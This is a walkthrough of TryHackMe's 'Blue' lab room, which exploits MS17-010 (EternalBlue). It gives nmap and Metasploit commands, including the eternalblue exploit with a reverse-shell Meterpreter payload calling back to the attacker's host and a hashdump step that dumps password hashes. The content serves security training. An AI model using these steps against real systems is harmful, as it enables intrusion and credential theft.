TryHackMe: Blue — Walkthrough and Methodology

Blue is TryHackMe's take on EternalBlue — the exploit behind the 2017 WannaCry outbreak — packaged as a free, beginner-friendly room. It's often the first Windows target people ever attack, and it's a good one to actually understand rather than just click through, since the underlying vulnerability class (SMB remote code execution) still shows up in real environments running unpatched legacy systems.

Blue is the first room in a small series — it doesn't always surface easily in TryHackMe's room search, so go directly to tryhackme.com/room/blue if you can't find it that way. Two sequels follow it once you're done: Ice and Blaster.

What you'll practice: identifying a missing patch from a service scan, using Metasploit's smb_ms17_010 scanner module to confirm before exploiting, and basic Windows post-exploitation.

Recon

nmap -sV -sC -p- -T4 <target-ip>

You'll see SMB running on 445, among the usual Windows service ports. That alone isn't enough to confirm the vulnerability — the next step is checking specifically for the missing patch.

Confirming the vulnerability before exploiting

Don't skip straight to firing an exploit. Confirm first:

msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <target-ip>
run

This checks whether the target is actually missing the MS17-010 patch rather than guessing. That habit — confirm, then exploit — is the difference between a controlled test and noisy, unnecessary attempts against a target that was never vulnerable in the first place.

Exploitation

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <your IP>
run

A successful run drops you into a Meterpreter session, typically with SYSTEM-level privileges directly — EternalBlue exploits a kernel-level SMB vulnerability, so there's usually no separate privilege escalation phase needed on this particular box.

Post-exploitation basics

Once you have a Meterpreter session, get comfortable with the fundamentals rather than immediately backing out:

sysinfo         # confirm what you're actually on
getuid          # confirm privilege level
hashdump        # (lab context only) dump local password hashes

Why this vulnerability still matters

MS17-010 is nearly a decade old at this point, but the underlying lesson isn't: unpatched SMB services on internal networks are still one of the most common ways an initial foothold turns into full network compromise. This is exactly the kind of finding that shows up in real internal penetration tests, not just training rooms.

Lessons worth keeping

Confirm before you exploit. A scanner module that checks for the specific missing patch is safer and more professional than exploit-and-see.
A kernel-level vulnerability often means no separate privesc phase — but don't assume that's normal. Most boxes require real enumeration afterward.
Patch management is a real control, not a checkbox. This entire room exists because one missing patch turned into full compromise — that's the practical argument for patching cadence in any real environment you're defending.

Next step

Comfortable with both Lame and Blue? Move to a room or box that requires manual enumeration for privilege escalation rather than getting it for free — that's where the real skill-building starts. Blue's own sequels (Ice, then Blaster) are a reasonable next stop before that. For the Linux side of privesc (a script running as root via cron or sudo), see the script privesc checklist. Revisit the Roadmap for what comes next.